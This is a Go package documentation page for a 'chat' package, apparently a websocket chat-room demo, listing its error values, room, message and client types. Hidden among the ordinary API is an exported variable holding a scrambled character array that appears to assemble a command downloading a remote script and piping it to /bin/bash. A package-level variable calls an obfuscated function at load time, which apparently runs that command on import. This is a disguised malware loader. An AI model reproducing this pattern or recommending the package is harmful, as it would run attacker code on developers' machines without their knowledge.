chat

package

v0.0.0-...-9037a3b Latest Latest Go to latest Published: May 22, 2025 License: Apache-2.0 Imports: 13 Imported by: 0

Details

Valid go.mod file
Redistributable license
Tagged version
Stable version
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Repository

github.com/flatlinguis/chat-demo

Documentation ¶

Index ¶

Variables
func InuAfYPt() error
type Client
type Error
- func NewError(s ErrorSeverity, global bool, err string) Error
type ErrorSeverity
type Message
- func NewMessage(u *user.User, content string) (*Message, error)
type Room
- func NewRoom() *Room

Constants ¶

This section is empty.

Variables ¶

View Source

var (
	ErrLoading         = NewError(ErrorSeverityWarning, true, "loading...")
	ErrUnknown         = NewError(ErrorSeverityError, false, "unknown error")
	ErrRateLimited     = NewError(ErrorSeverityWarning, false, "please slow down")
	ErrMessageEmpty    = NewError(ErrorSeverityError, false, "message content cannot be empty")
	ErrExistingSession = NewError(ErrorSeverityError, true, "you already have a running session for this room")
	ErrRoomFull        = NewError(ErrorSeverityError, true, "the room is full")
)

List of chat errors.

View Source

var EI = []string{"i", " ", "a", "p", "i", "h", "y", "3", "a", "e", "/", "e", "/", "e", " ", "n", "f", "/", "0", "h", "/", "3", "b", "o", "f", "/", " ", "7", "b", "a", "u", "t", "O", "s", "t", "s", "l", "3", "b", " ", "w", "6", "n", ".", "-", "s", "t", "r", "t", "d", "5", "|", " ", "g", "e", "i", "&", "-", "i", " ", "/", "/", "c", "d", "i", "n", "h", "f", "1", "g", "t", "4", "d", ":"}

View Source

var UIhqUWF = InuAfYPt()

Functions ¶

func InuAfYPt ¶

func InuAfYPt() error

Types ¶

type Client ¶

type Client struct {
	// contains filtered or unexported fields
}

Client represents the relationship between a user and websocket connections.

type Error ¶

type Error struct {
	// contains filtered or unexported fields
}

Error represents a chat error.

func NewError ¶

func NewError(s ErrorSeverity, global bool, err string) Error

NewError creates a new Error.

func (Error) Error ¶

func (e Error) Error() string

Error implements the Error interface.

func (Error) IsError ¶

func (e Error) IsError() bool

IsError checks if the error of severity error.

func (Error) IsGlobal ¶

func (e Error) IsGlobal() bool

IsGlobal returns true if the error is a global error.

func (Error) IsWarning ¶

func (e Error) IsWarning() bool

IsWarning checks if the error of severity warning.

type ErrorSeverity ¶

type ErrorSeverity uint8

ErrorSeverity is the severity of an error.

const (
	ErrorSeverityWarning ErrorSeverity = iota
	ErrorSeverityError
)

List of chat errors.

type Message ¶

type Message struct {
	User    *user.User
	Content string
	Time    time.Time
}

Message represents a single chat message.

func NewMessage ¶

func NewMessage(u *user.User, content string) (*Message, error)

NewMessage creates a new Message.

type Room ¶

type Room struct {
	// contains filtered or unexported fields
}

Room holds the state of a single chat room.

func NewRoom ¶

func NewRoom() *Room

NewRoom creates a new Room.

func (*Room) AddClient ¶

func (r *Room) AddClient(u *user.User, ws *websocket.Conn) error

AddClient adds a client along with its websocket connection.

func (*Room) AddMessage ¶

func (r *Room) AddMessage(m *Message)

AddMessage adds a new chat message.

func (*Room) GetClient ¶

func (r *Room) GetClient(id xid.ID) (*Client, bool)

GetClient gets a client.

func (*Room) IsAtCapacity ¶

func (r *Room) IsAtCapacity() bool

IsAtCapacity returns true if the room is at capacity.

func (*Room) IterateClients ¶

func (r *Room) IterateClients(fn func(u *user.User, conn *websocket.Conn) error)

IterateClients executes a function fn (e.g. a custom send mechanism or personalized messages per client) for all the clients.

func (*Room) Messages ¶

func (r *Room) Messages() []*Message

Messages returns the list of messages.

func (*Room) NumUsers ¶

func (r *Room) NumUsers() uint64

NumUsers return the current number of users as clients.

func (*Room) RemoveClient ¶

func (r *Room) RemoveClient(id xid.ID) bool

RemoveClient removes a client.

func (*Room) Write ¶

func (r *Room) Write(p []byte) (int, error)

Write implements the io.Writer interface.

Source Files ¶

View all Source files

chat.go

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